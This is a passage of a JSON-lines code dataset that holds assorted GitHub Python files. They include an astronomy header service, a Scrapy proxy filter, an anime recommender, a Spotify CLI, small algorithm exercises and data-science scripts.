len(ccdnames) == 1 and not isinstance(payload, list):\n payload = [payload]\n self.log.warning(f\"Recasting payload to a list for {keyword}:{payload}\")\n extracted_payload = dict(zip(ccdnames, payload))\n elif self.config.telemetry[keyword]['array'] == 'CCD_array_str':\n self.log.debug(f\"{keyword} is string array: CCD_array_str\")\n ccdnames = self.get_array_keys(keyword, myData, sep)\n # Split the payload into an array of strings\n extracted_payload = dict(zip(ccdnames, hutils.split_esc(payload, sep)))\n elif self.config.telemetry[keyword]['array'] == 'indexed_array':\n self.log.debug(f\"{keyword} is an array: indexed_array\")\n index = self.config.telemetry[keyword]['array_index']\n # Extract the requested index\n extracted_payload = payload[index]\n elif self.config.telemetry[keyword]['array'] == 'keyed_array':\n self.log.debug(f\"{keyword} is an array: keyed_array\")\n keywords = self.get_array_keys(keyword, myData, sep)\n key = self.config.telemetry[keyword]['array_keyname']\n # Extract only the requested key from the dictionary\n extracted_payload = dict(zip(keywords, hutils.split_esc(payload, sep)))[key]\n # Case 3 -- enumeration using idl libraries\n elif self.config.telemetry[keyword]['array'] == 'enum':\n device = self.config.telemetry[keyword]['device']\n array_name = self.config.telemetry[keyword]['array_name']\n extracted_payload = getattr(self.idl_lib[device], array_name)(payload).name\n # If some kind of array take first element\n elif hasattr(payload, \"__len__\") and not isinstance(payload, str):\n self.log.debug(f\"{keyword} is just an array\")\n extracted_payload = payload[0]\n else:\n self.log.debug(f\"Undefined type for {keyword}\")\n extracted_payload = None\n return extracted_payload\n\n def get_array_keys(self, keyword, myData, sep=\":\"):\n \"\"\"\n Function to extract a list of keywords for the ':'-separated string\n published by Camera\n \"\"\"\n array_keys = self.config.telemetry[keyword]['array_keys']\n payload = getattr(myData, array_keys)\n # Make sure we get back something\n if payload is None:\n self.log.warning(f\"Cannot get list of keys for: {keyword}\")\n keywords_list = None\n else:\n # we extract them using the separator (i.e. ':')\n keywords_list = hutils.split_esc(payload, sep)\n if len(keywords_list) <= 1:\n self.log.warning(f\"List keys for {keyword} is <= 1\")\n self.log.info(f\"For {keyword}, extracted '{array_keys}': {keywords_list}\")\n return keywords_list\n\n def collect_from_HeaderService(self, imageName):\n\n \"\"\"\n Collect and update custom meta-data generated or transformed by\n the HeaderService\n \"\"\"\n # Simplify code with shortcuts for imageName\n metadata = self.metadata[imageName]\n\n # Reformat and calculate dates based on different timeStamps\n # NOTE: For now the timestamp are coming in UTC from Camera and are\n # transformed to TAI by the function hscalc.get_date()\n # Store the creation date of the header file -- i.e. now!!\n DATE = hscalc.get_date(time.time())\n metadata['DATE'] = DATE.isot\n # Need to force MJD dates to floats for yaml header\n metadata['MJD'] = float(DATE.mjd)\n\n if 'DATE-OBS' in metadata:\n DATE_OBS = hscalc.get_date(metadata['DATE-OBS'])\n metadata['DATE-OBS'] = DATE_OBS.isot\n metadata['MJD-OBS'] = float(DATE_OBS.mjd)\n\n if 'DATE-BEG' in metadata:\n DATE_BEG = hscalc.get_date(metadata['DATE-BEG'])\n metadata['DATE-BEG'] = DATE_BEG.isot\n metadata['MJD-BEG'] = float(DATE_BEG.mjd)\n\n if 'DATE-END' in metadata:\n DATE_END = hscalc.get_date(metadata['DATE-END'])\n metadata['DATE-END'] = DATE_END.isot\n metadata['MJD-END'] = float(DATE_END.mjd)\n\n metadata['FILENAME'] = self.filename_FITS[imageName]\n if self.tstand:\n metadata['TSTAND'] = self.tstand\n\n # Update the imageName metadata with new dict\n self.metadata[imageName].update(metadata)\n\n\ndef get_channel_name(c):\n \"\"\" Standard formatting for the name of a channel across modules\"\"\"\n # Assume index=0 if not defined\n if 'device_index' not in c:\n c['device_index'] = 0\n return '{}_{}_{}'.format(c['device'], c['device_index'], c['topic'])\n\n\ndef get_channel_device(c):\n \"\"\" Standard formatting for the device name of a channel across modules\"\"\"\n return c['device']\n\n\ndef get_channel_devname(c):\n \"\"\" Standard formatting for the 'devname' of a channel across modules\"\"\"\n return \"{}_{}\".format(c['device'], c['device_index'])\n\n\ndef get_enum_cscs(telem):\n \"\"\"\n Get only the enumerated devices described\n in the telemetry section of the config\n \"\"\"\n enum_cscs = []\n for key in telem:\n if 'array' in telem[key] and telem[key]['array'] == 'enum':\n if telem[key]['device'] not in enum_cscs:\n enum_cscs.append(telem[key]['device'])\n return enum_cscs\n\n\ndef extract_telemetry_channels(telem, start_collection_event=None,\n end_collection_event=None,\n imageParam_event=None):\n \"\"\"\n Get the unique telemetry channels from telemetry dictionary to\n define the topics that we need to subscribe to\n \"\"\"\n\n valid_collection_events = frozenset([\"start_collection_event\", \"end_collection_event\"])\n\n channels = {}\n for key in telem:\n\n # Make sure telemetry as a valid collection event definition\n if telem[key]['collect_after_event'] not in valid_collection_events:\n raise ValueError(f\"Wrong collection_event in telemetry definition for keyword:{key}\")\n # Add array qualifier -- REVISE or replace by array\n if 'type' not in telem[key]:\n telem[key]['type'] = 'scalar'\n # Add default index=0 if undefined\n if 'device_index' not in telem[key]:\n telem[key]['device_index'] = 0\n name = get_channel_name(telem[key])\n # Make sure we don't create extra channels\n if name not in channels.keys():\n channels[name] = telem[key]\n\n # We also need to make sure that we subscribe to the start/end\n # collection Events in case these were not contained by the\n if start_collection_event:\n # Shortcut to variable c, note that when we update c\n # we also update the end_collection_event dictionary\n c = start_collection_event\n # Assume index=0 if not defined\n if 'device_index' not in c:\n c['device_index'] = 0\n name = get_channel_name(c)\n if name not in channels.keys():\n c['Stype'] = 'Event'\n channels[name] = c\n\n if end_collection_event:\n # Shortcut to variable c, note that when we update c\n # we also update the end_collection_event dictionary\n c = end_collection_event\n # Assume index=0 if not defined\n if 'device_index' not in c:\n c['device_index'] = 0\n name = get_channel_name(c)\n if name not in list(channels.keys()):\n c['Stype'] = 'Event'\n channels[name] = c\n\n # The imageParam event\n if imageParam_event:\n c = imageParam_event\n # Assume index=0 if not defined\n if 'device_index' not in c:\n c['device_index'] = 0\n name = get_channel_name(c)\n if name not in channels.keys():\n c['Stype'] = 'Event'\n channels[name] = c\n\n return channels\n","repo_name":"lsst-dm/HeaderService","sub_path":"python/HeaderService/hslib_salobj.py","file_name":"hslib_salobj.py","file_ext":"py","file_size_in_byte":46396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72030374546","text":"# !D:/Code/python\n# -*- coding:utf-8 -*-\n# @Author : Clint\n# @Question : 小明横穿沙漠,需要携带至少x毫升的水。有两种规格的矿泉水可供选购:小瓶矿泉水每瓶500ml,\n# 价格a元。大瓶矿泉水每瓶1500ml,价格b元。小明打算买一些矿泉水用于横穿沙漠,为了保证至\n# 少买到x毫升的水,小明至少需要花费多少钱?\n# @Thinking :\n\n# 4999 5 10 [500, 1500]\n\nclass Solution:\n def mineralWater(self):\n x, a, b = 3000, 10, 25\n d = {1: 10, 3: 25}\n x = (x + 499) // 500\n dp = [float(\"inf\")] * (x + 2)\n dp[0] = 0\n for k in d.keys():\n for ck in range(k, len(dp)):\n dp[ck] = min(dp[ck], dp[ck - k] + d[k])\n return min(dp[x:])\n # print(min(dp[x:]))\n\n\ns = Solution()\nprint(s.mineralWater())\n","repo_name":"Clint-cc/Leecode","sub_path":"Company/深信服/矿泉水问题.py","file_name":"矿泉水问题.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33378987290","text":"# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html\nimport os\nfrom scrapy.exporters import JsonItemExporter\nimport re\nfrom scrapy.exceptions import DropItem\n\ndef ipDistrictInfo(addr=''):\n from urllib.request import urlopen\n from json import load\n if addr == '':\n url = 'https://ipinfo.io/json'\n else:\n url = 'https://ipinfo.io/' + addr + '/json'\n res = urlopen(url)\n #response from url(if res==None then check connection)\n if res == None:\n return None\n data = load(res)\n return data['country']\n\ndef validate_ip(s=''):\n a = s.split('.')\n if len(a) != 4:\n return False\n for x in a:\n if not x.isdigit():\n return False\n i = int(x)\n if i < 0 or i > 255:\n return False\n return True\nclass JsonItemPipeline:\n def __init__(self):\n self.file = open(\"sites.json\", 'wb')\n self.exporter = JsonItemExporter(self.file, encoding='utf-8', ensure_ascii=False, indent=4)\n self.exporter.start_exporting()\n\n def close_spider(self, spider):\n self.exporter.finish_exporting()\n self.file.close()\n\n def process_item(self, item, spider):\n self.exporter.export_item(item)\n return item\nclass FilterItemPipeline:\n def process_item(self, item, spider):\n sev = item['server']\n # st = [it < 8 for it in vt_2]\n # if True in st:\n # raise DropItem(\"Not a stable and fast site for %s\" % item)\n # else:\n # return item\n if validate_ip(sev):\n if ipDistrictInfo(sev) == 'TW' or (ipDistrictInfo(sev) == None):\n raise DropItem(\"Not a stable and fast site for %s\" % item)\n else:\n return item\n else:\n try:\n import socket\n ip = socket.gethostbyname(sev)\n if ipDistrictInfo(ip) == 'TW' or ipDistrictInfo(ip) == None:\n raise DropItem(\"Not a stable and fast site for %s\" % item)\n else:\n return item\n except:\n raise DropItem(\"Not a avaliable site for %s\" % item)\n\n\n\n\n\n\n\n\n","repo_name":"marearth/auto_config_ss","sub_path":"auto_config_ss/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":2286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31543436121","text":"import nltk\nimport pickle\nimport string\n\nfrom string import punctuation\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize\nfrom telegram.ext import Updater, CommandHandler, MessageHandler, Filters\n\nfrom sklearn.cluster import KMeans\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\n\nlemmer = nltk.stem.WordNetLemmatizer()\n\n\ndef LemTokens(tokens):\n return [lemmer.lemmatize(token) for token in tokens]\n\n\nremove_punct_dict = dict((ord(punct), None) for punct in string.punctuation)\nremove_stop_words = dict((word, None)\n for word in stopwords.words('english'))\n\n\ndef LemNormalize(text):\n return LemTokens(nltk.word_tokenize(text.lower().translate(remove_punct_dict).translate(remove_stop_words)))\n\n\ntfidf_vectorizer = TfidfVectorizer(\n tokenizer=LemNormalize, stop_words='english')\n\n\nclass RecommenderService:\n def __init__(self):\n self.kmeans = None\n self.animes = []\n self.__Fit()\n\n def __Fit(self):\n print(\"Carregando animes...\")\n self.animes = pickle.load(\n open('./src/RecommenderService/data-animes.pkl', 'rb'))\n\n print(f\"{len(self.animes)} carregados!\")\n\n synopsis = list()\n for anime in self.animes:\n synopsis.append(anime[\"synopsis\"].replace(\n \"ha\", \"\").replace(\"le\", \"\").replace(\"wa\", \"\"))\n\n print(\"Iniciando o treino!\")\n tfidf = tfidf_vectorizer.fit_transform(synopsis)\n\n self.kmeans = KMeans(n_clusters=250).fit(tfidf)\n print(\"Treino finalizado.\")\n\n print(\"Ajustando grupos.\")\n for k, v in enumerate(self.kmeans.labels_):\n self.animes[k]['cluster'] = v\n\n print(\"Tudo pronto chefe!\\n\")\n\n def GetRecommendation(self, query):\n index = self.kmeans.predict(tfidf_vectorizer.transform([query]))\n recommendations = []\n\n print(\"\")\n for k, anime in enumerate(self.animes):\n if anime['cluster'] == index[0]:\n # print(f\"Anime: {anime['name']} - Cluster: {anime['cluster']}\")\n recommendations.append(anime)\n\n # print(self.kmeans.score(tfidf_vectorizer.transform([query])))\n\n return recommendations\n\n def GetAnimes(self):\n return self.animes\n\n\n# recommender = RecommenderService()\n# recommender.GetRecommendation(\n# \"Moments prior to Naruto Uzumaki's birth, a huge demon known as the Kyuubi, the Nine-Tailed Fox, attacked Konohagakure, the Hidden Leaf Village, and wreaked havoc.\")\n","repo_name":"yankelvin/riessbot","sub_path":"src/RecommenderService/RecommenderService.py","file_name":"RecommenderService.py","file_ext":"py","file_size_in_byte":2506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17730490564","text":"import numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\n\r\n# import data\r\ndataset = pd.read_csv('Salary_Data.csv')\r\nX = dataset.iloc[:, :-1].values\r\nY = dataset.iloc[:, -1].values \r\n# print(X)\r\n# print(Y)\r\n\r\n#split the training and testing data\r\nfrom sklearn.model_selection import train_test_split\r\nX_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size = 0.2, random_state = 0)\r\n\r\n#train the model\r\nfrom sklearn.linear_model import LinearRegression\r\nregressor = LinearRegression()\r\nregressor.fit(X_train, Y_train)\r\n\r\n#prediction\r\nY_pred = regressor.predict(X_test)\r\nnp.set_printoptions(precision=0)\r\nprint(np.concatenate((Y_pred.reshape(len(Y_pred),1), Y_test.reshape(len(Y_test),1)),1))\r\n\r\n#plot out\r\nplt.scatter(X_train, Y_train, color = 'red')\r\nplt.plot(X_train, regressor.predict(X_train), color = 'blue')\r\nplt.title('Salary vs Experience (Training set)')\r\nplt.xlabel('Years of Experience')\r\nplt.ylabel('Salary')\r\nplt.show()\r\n\r\n#my prediction\r\nprint(regressor.predict([[18]]))\r\n\r\n","repo_name":"borsym/ML","sub_path":"ml/Regression/linear_regression/linear_regression.py","file_name":"linear_regression.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32577867490","text":"#Used for the stack Ketchapp app.\nfrom pyautogui import click\nfrom time import sleep\n#Waits 3 seconds before beginning\nsleep(3)\ndelay=.7\nscore=100\nfor i in range(score):\n click()\n sleep(delay)","repo_name":"davidsaldubehere/mobilehacks","sub_path":"stack.py","file_name":"stack.py","file_ext":"py","file_size_in_byte":198,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"29345918712","text":"def createQuery(us1, startdate=None, enddate=None):\r\n \r\n import dateutil.parser, time\r\n \r\n def toNum(datestring):\r\n d = dateutil.parser.parse(datestring)\r\n return time.mktime(d.timetuple())\r\n \r\n my_list = [\r\n {\"$match\" : {\"user.hash-user-id\": us1}},\r\n {\"$match\" : {\"event.timestamp\" : {\"$gte\" : toNum(startdate),\"$lt\" : toNum(enddate)}}},\r\n {\"$match\" : {\"event.content.original-title\" : {\"$exists\" : \"True\"}}},\r\n {\"$project\" : {\"ISOtime\":\"$event.time-to-iso\",\r\n \"tv_show\":\"$event.content.original-title\",\r\n \"tv_ch\":{\"$ifNull\":[\"$event.channel.id\",'N/A']}}}\r\n #{\"$group\" : {\"_id\":\"$user.hash-user-id\"}}\r\n ]\r\n \r\n return my_list","repo_name":"nejkosi/test","sub_path":"test_script.py","file_name":"test_script.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7798746947","text":"import sys\nsys.stdin = open('input.txt')\n\nT = int(input())\nfor test_case in range(1, T + 1):\n N = int(input())\n cards = input()\n count = [0]*10\n\n #카드 수 세기기\n for idx in range(len(cards)):\n count[int(cards[idx])] += 1\n\n max_count = count[0]\n max_index = 0\n\n #최대 장수, 숫자 구하기\n for idx in range(1, len(count)):\n if max_count <= count[idx]:\n max_count = count[idx]\n max_index = idx\n\n print(\"#{} {} {}\".format(test_case, max_index, max_count))","repo_name":"asooso1/ssafy_algorithm","sub_path":"0810/이주현/4834_cards/s1.py","file_name":"s1.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18474175971","text":"import requests\n\nfrom app.api_client.api_client_base import ApiClientBase\nfrom config import API_USER_TAG_ID, API_USER_TOKEN, API_USER_HOST\n\n\nclass ApiClientUSER(ApiClientBase):\n @staticmethod\n async def add_tag_user(arhpg_id: int):\n response = requests.post(\n url=f'{API_USER_HOST}/api/v1/users/{arhpg_id}/tags',\n params={'app_token': API_USER_TOKEN},\n json={\"tag_id\": [API_USER_TAG_ID]},\n )\n return response\n","repo_name":"yegoryakubovich/arhpg_tg_bot","sub_path":"app/api_client/user/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40409659918","text":"import subprocess\nimport sys\nimport os\nimport time\nfrom time import sleep\nimport psutil\nimport win32api\n\n\ndef get_drives():\n unidades = subprocess.getoutput(\"fsutil fsinfo drives\").split(\" \")[1:]\n last_drive = unidades[-1]\n len_drives = unidades.index(last_drive)\n\n return len_drives + 1\n\n\nwhile True:\n for controlador in range(0, get_drives()):\n try:\n removable = psutil.disk_partitions()[controlador][3].split(\",\")[1]\n\n if \"removable\" in removable:\n USB_nombre = psutil.disk_partitions()[controlador][1]\n USB_etiqueta = win32api.GetVolumeInformation(f\"{USB_nombre}\\\\\")[\n 0]\n\n if USB_etiqueta == \"KINGSTON\":\n print(\"Dispositivo detectado -> :\" + str(USB_etiqueta))\n sys.exit()\n\n except IndexError:\n pass\n\n sleep(1)\n","repo_name":"Agustinsavoy1/ducky-py","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11002265332","text":"from dbArtistsBase import dbArtistsBase\nfrom dbBase import dbBase\nfrom artistDP import artistDP\nfrom discogsUtils import datpiffUtils\nimport urllib\nfrom urllib.parse import quote\nfrom webUtils import getHTML\nfrom fsUtils import isFile, setDir, setFile, isDir\nfrom hashlib import md5\nfrom ioUtils import saveFile, getFile\nfrom searchUtils import findExt \nfrom listUtils import getFlatList\nfrom multiArtist import multiartist\n\n\n##################################################################################################################\n# Base Class\n##################################################################################################################\nclass dbArtistsDatPiff(dbArtistsBase):\n def __init__(self, debug=False):\n self.db = \"DatPiff\"\n self.disc = dbBase(self.db.lower())\n self.artist = artistDP(self.disc)\n self.dutils = datpiffUtils()\n self.dutils.setDiscogs(self.disc)\n self.debug = debug\n \n ## MultiArtist\n self.mulArts = multiartist()\n \n print(\"DatPiff ArtistsDir: {0}\".format(self.disc.getArtistsDir()))\n if not isDir(self.disc.getArtistsDir()):\n raise ValueError(\"Could not find artist dir for DatPiff\")\n self.knownDir = setDir(self.disc.getArtistsDir(), \"known\")\n if not isDir(self.knownDir):\n print(\"Make sure that Piggy is loaded!!!\")\n raise ValueError(\"Could not find known [{0}] dir for DatPiff\".format(self.knownDir))\n self.knownFile = setFile(self.knownDir, \"datPiffKnown.p\")\n if not isFile(self.knownFile):\n raise ValueError(\"Known File [{0}] does not exist\".format(self.knownFile))\n \n self.baseURL = \"https://www.datpiff.com/\"\n self.searchURL = \"https://www.datpiff.com/mixtapes-search?\"\n \n super().__init__(self.db, self.disc, self.artist, self.dutils, debug=debug)\n \n \n ################################################################################\n # Parse Artist Data\n ################################################################################\n def parseArtistModValFiles(self, modVal=None, force=False):\n raise ValueError(\"Must call parseArtistFiles() instead for DatPiff\")\n \n def parseArtistFiles(self, force=False, debug=False): \n from glob import glob\n \n artistDir = self.disc.getArtistsDir()\n \n artistDBData = {}\n \n files = findExt(self.knownDir, ext='.p') \n files = glob(\"/Volumes/Biggy/Discog/artists-datpiff/*/*.p\")\n print(\"Found {0} downloaded search terms\".format(len(files)))\n for i,ifile in enumerate(files):\n if ifile.endswith(\"datPiffKnown.p\"):\n continue\n fileresults = getFile(ifile)\n if debug:\n print(i,'/',len(files),'\\t',ifile)\n for j,fileresult in enumerate(fileresults):\n if debug:\n print(\" \",j,'/',len(fileresults))\n mixArtists = fileresult[\"ArtistName\"]\n albumName = fileresult[\"AlbumName\"]\n albumURL = fileresult[\"AlbumURL\"]\n \n mixArtistNames = self.mulArts.getArtistNames(mixArtists)\n mixArtistNames = [x.title() for x in mixArtistNames.keys()]\n \n for artistName in mixArtistNames:\n artistID = str(self.dutils.getArtistID(artistName))\n albumID = str(self.dutils.getArtistID(albumName))\n modval = self.dutils.getArtistModVal(artistID)\n if artistDBData.get(modval) is None:\n artistDBData[modval] = {}\n if artistDBData[modval].get(artistName) is None:\n artistDBData[modval][artistName] = {\"Name\": artistName, \"ID\": artistID, \"URL\": None, \"Profile\": None, \"Media\": []}\n albumData = {\"Artists\": mixArtistNames, \"Name\": albumName, \"URL\": albumURL, \"Code\": albumID}\n artistDBData[modval][artistName][\"Media\"].append(albumData)\n\n \n \n \n maxModVal = self.disc.getMaxModVal()\n artistDBDir = self.disc.getArtistsDBDir() \n totalSaves = 0\n for modVal,modvaldata in artistDBData.items():\n dbData = {}\n for artistName, artistData in modvaldata.items():\n self.artist.setData(artistData)\n artistVal = self.artist.parse()\n dbData[artistVal.ID.ID] = artistVal\n \n savename = setFile(artistDBDir, \"{0}-DB.p\".format(modVal))\n print(\"Saving {0} artist IDs to {1}\".format(len(dbData), savename))\n totalSaves += len(dbData)\n saveFile(idata=dbData, ifile=savename)\n \n self.createArtistModValMetadata(modVal=modVal, db=dbData, debug=debug)\n self.createArtistAlbumModValMetadata(modVal=modVal, db=dbData, debug=debug)\n \n print(\"Saved {0} new artist IDs\".format(totalSaves))\n\n\n \n ##################################################################################################################\n # Artist URL\n ##################################################################################################################\n def getArtistURL(self, artistRef, page=1):\n baseURL = self.baseURL\n url = urllib.parse.urljoin(baseURL, artistRef)\n return url\n\n \n \n ##################################################################################################################\n # Search Functions\n ##################################################################################################################\n def parseSearchArtist(self, artist, data):\n if data is None:\n return None\n \n ## Parse data\n bsdata = getHTML(data)\n \n artistDB = []\n\n contentdivs = bsdata.findAll(\"div\", {\"class\": \"contentItem\"})\n for i,contentdiv in enumerate(contentdivs):\n artistDiv = contentdiv.find(\"div\", {\"class\": \"artist\"})\n if artistDiv is None:\n continue\n artistName = artistDiv.text\n\n albumDiv = contentdiv.find(\"div\", {\"class\": \"title\"})\n if albumDiv is None:\n continue\n albumName = albumDiv.text\n try:\n albumURL = albumDiv.find(\"a\").attrs['href']\n except:\n albumURL = None\n \n artistDB.append({\"ArtistName\": artistName, \"AlbumName\": albumName, \"AlbumURL\": albumURL})\n \n\n artistID = self.dutils.getArtistID(artist)\n page = 1\n savename = self.getArtistSavename(artistID, page)\n while isFile(savename):\n page += 1\n savename = self.getArtistSavename(artistID, page)\n print(\"Saving {0} new artist media to {1}\".format(len(artistDB), savename))\n saveFile(idata=artistDB, ifile=savename)\n \n \n def getSearchArtistURL(self, artist): \n baseURL = self.baseURL\n extra = \"mixtapes-search?criteria={0}&sort=relevance\".format(quote(artist))\n url = urllib.parse.urljoin(baseURL, extra)\n return url\n \n \n def findSearchTerms(self, minCnts=25):\n from collections import Counter\n from time import sleep\n from glob import glob\n\n artistsCntr = Counter()\n known = getFile(self.knownFile)\n \n files = getFlatList([findExt(dirval, ext='.p') for dirval in self.getModValDirs()])\n for ifile in files:\n #for ifile in glob(\"/Volumes/Piggy/Discog/artists-datpiff/*/*.p\"):\n if ifile.endswith(\"datPiffKnown.p\"):\n continue\n tmp = getFile(ifile)\n #print(ifile,'\\t',len(tmp))\n results = [x[\"ArtistName\"] for x in tmp]\n for artist in results:\n artists = self.mulArts.getArtistNames(artist)\n for artist in artists.keys():\n key = artist.title()\n if len(key) > 1 and key not in known:\n artistsCntr[key] += 1\n searchTerms = [item[0] for item in artistsCntr.most_common() if item[1] >= minCnts]\n print(\"There are {0} new searches\".format(len(searchTerms)))\n return searchTerms\n \n \n def searchForArtist(self, artist):\n print(\"\\n\\n===================== Searching For {0} =====================\".format(artist))\n url = self.getSearchArtistURL(artist)\n if url is None:\n raise ValueError(\"URL is None!\")\n\n ## Download data\n data, response = self.downloadURL(url)\n if response != 200:\n print(\"Error downloading {0}\".format(url))\n return False\n \n known = getFile(self.knownFile)\n print(\" Found {0} previously searched for terms.\".format(len(known)))\n known.append(artist)\n saveFile(idata=known, ifile=self.knownFile)\n\n self.parseSearchArtist(artist, data)","repo_name":"tgadf/discogs","sub_path":"dbArtistsDatPiff.py","file_name":"dbArtistsDatPiff.py","file_ext":"py","file_size_in_byte":9207,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"28901498353","text":"#!/usr/bin/env python3\n\"\"\"\nScript for intelligent path handling using pathlib.\n\"\"\"\n\nfrom enum import Enum, unique\nfrom pathlib import Path\n\nimport typer\n\nAPP = typer.Typer()\n\n\n@unique\nclass Option(Enum):\n STEM = \"stem\"\n NAME = \"name\"\n ABSOLUTE = \"absolute\"\n RESOLVE = \"resolve\"\n\n\nOPTION_DISPATCH = {\n Option.STEM: lambda path: path.stem,\n Option.NAME: lambda path: path.name,\n Option.ABSOLUTE: lambda path: path.absolute(),\n Option.RESOLVE: lambda path: path.resolve(),\n}\n\n\ndef _dispatch(path: Path, option: Option):\n typer.echo(OPTION_DISPATCH[option](path))\n\n\n@APP.command()\ndef stem(\n path: Path = typer.Argument(...),\n):\n \"\"\"\n Return filename stem.\n \"\"\"\n _dispatch(path=path, option=Option.STEM)\n\n\n@APP.command()\ndef name(\n path: Path = typer.Argument(...),\n):\n \"\"\"\n Return filename.\n \"\"\"\n _dispatch(path=path, option=Option.NAME)\n\n\n@APP.command()\ndef absolute(\n path: Path = typer.Argument(...),\n resolve: bool = typer.Option(True, help=\"Resolve full path (symlinks, etc.).\"),\n):\n \"\"\"\n Return absolute path.\n \"\"\"\n _dispatch(path=path, option=Option.RESOLVE if resolve else Option.ABSOLUTE)\n\n\nif __name__ == \"__main__\":\n APP()\n","repo_name":"nialov/nix-extra","sub_path":"overlays/packages/pathnames/pathnames.py","file_name":"pathnames.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23923395192","text":"#Melhore o jogo do DESAFIO 028 onde o computador vai \"pensar\" em um número entre 0 e 10. Só que agora o jogador vai tentar adivinhar até acertar, mostrando no final quantos palpites foram necessários para vencer.\nfrom random import randint\nfrom time import sleep\n\ncont = 0\nprint(\"-=\"*12)\nprint(\"Advinhe o valor sorteado\")\nprint(\"-=\"*12)\nn = randint(0,11)\n\nwhile True:\n cont += 1\n r = int(input(\"Qual valor o computador sorteou? \"))\n if r == n:\n break\n else:\n print(\"...\")\n sleep(0.5)\n print(\"...\")\n sleep(0.5)\n print(\"...\")\n sleep(0.75)\n print(\"Tente novamente...\")\n if r > n:\n print(\"Menos...\")\n else:\n print(\"mais...\")\n\nprint(\"...\")\nsleep(0.5)\nprint(\"...\")\nsleep(0.5)\nprint(\"...\")\nsleep(0.75)\nprint(f\"\"\"Parabéns, você acertou...\nO valor sorteado era mesmo {n}\nVocê acertou com {cont} tentativas...\"\"\")\n","repo_name":"YuriiSouza/python","sub_path":"python inciante Curso em Video/exercicios/desafios/D058.py","file_name":"D058.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32421866322","text":"import click\nimport spotipy\nfrom artist import Artist\nfrom spotify_ops import sp\n\n@click.command(help=\"Find artists who have collaborated with the artist you provide.\")\n@click.option('--artist_name', prompt=\"Artist name\")\ndef search(artist_name):\n limit = 10\n search_results = []\n response = sp.search(q=artist_name, type='artist', limit=limit)\n \n for artist in response['artists']['items']:\n pair = (artist['name'], artist['uri'])\n search_results.append(pair)\n \n for i, pair in enumerate(search_results, 1):\n print(str(i) + \". \" + pair[0])\n \n selection = click.prompt(\"Which artist would you like to explore?\", default=1, type=int)\n \n if selection < 1 or selection > limit:\n raise click.BadParameter('selection must be between 1 and ' + str(limit))\n \n selected_artist = search_results[selection-1]\n name = selected_artist[0]\n uri = selected_artist[1]\n \n print(\"Finding collaborators with \" + name + \"...\")\n artist_data = Artist(uri)\n for collab_uri in artist_data.collaborators:\n collab_name = sp.artist(collab_uri)['name']\n print(\"- \" + collab_name)\n\nif __name__ == \"__main__\":\n search()","repo_name":"CandyMandy28/Spotify-Interactive-Map-2019","sub_path":"cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25657363735","text":"import sys\n\nsys.setrecursionlimit(10 ** 7)\nrl = sys.stdin.readline\n\n\ndef solve():\n S, L, R = map(int, rl().split())\n \n if S < L:\n print(L)\n elif R < S:\n print(R)\n else:\n print(S)\n\n\nif __name__ == '__main__':\n solve()\n","repo_name":"yuly3/atcoder","sub_path":"other/judge-update-202004/A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"73827981587","text":"import numpy as np\n\nfrom tespy.components.component import Component\n\n\nclass Source(Component):\n r\"\"\"\n A flow originates from a Source.\n\n Parameters\n ----------\n label : str\n The label of the component.\n\n design : list\n List containing design parameters (stated as String).\n\n offdesign : list\n List containing offdesign parameters (stated as String).\n\n design_path : str\n Path to the components design case.\n\n local_offdesign : boolean\n Treat this component in offdesign mode in a design calculation.\n\n local_design : boolean\n Treat this component in design mode in an offdesign calculation.\n\n char_warnings : boolean\n Ignore warnings on default characteristics usage for this component.\n\n printout : boolean\n Include this component in the network's results printout.\n\n Example\n -------\n Create a source and specify a label.\n\n >>> from tespy.components import Source\n >>> so = Source('a labeled source')\n >>> so.component()\n 'source'\n >>> so.label\n 'a labeled source'\n \"\"\"\n\n @staticmethod\n def component():\n return 'source'\n\n @staticmethod\n def outlets():\n return ['out1']\n\n @staticmethod\n def is_branch_source():\n return True\n\n def start_branch(self):\n outconn = self.outl[0]\n branch = {\n \"connections\": [outconn],\n \"components\": [self, outconn.target],\n \"subbranches\": {}\n }\n 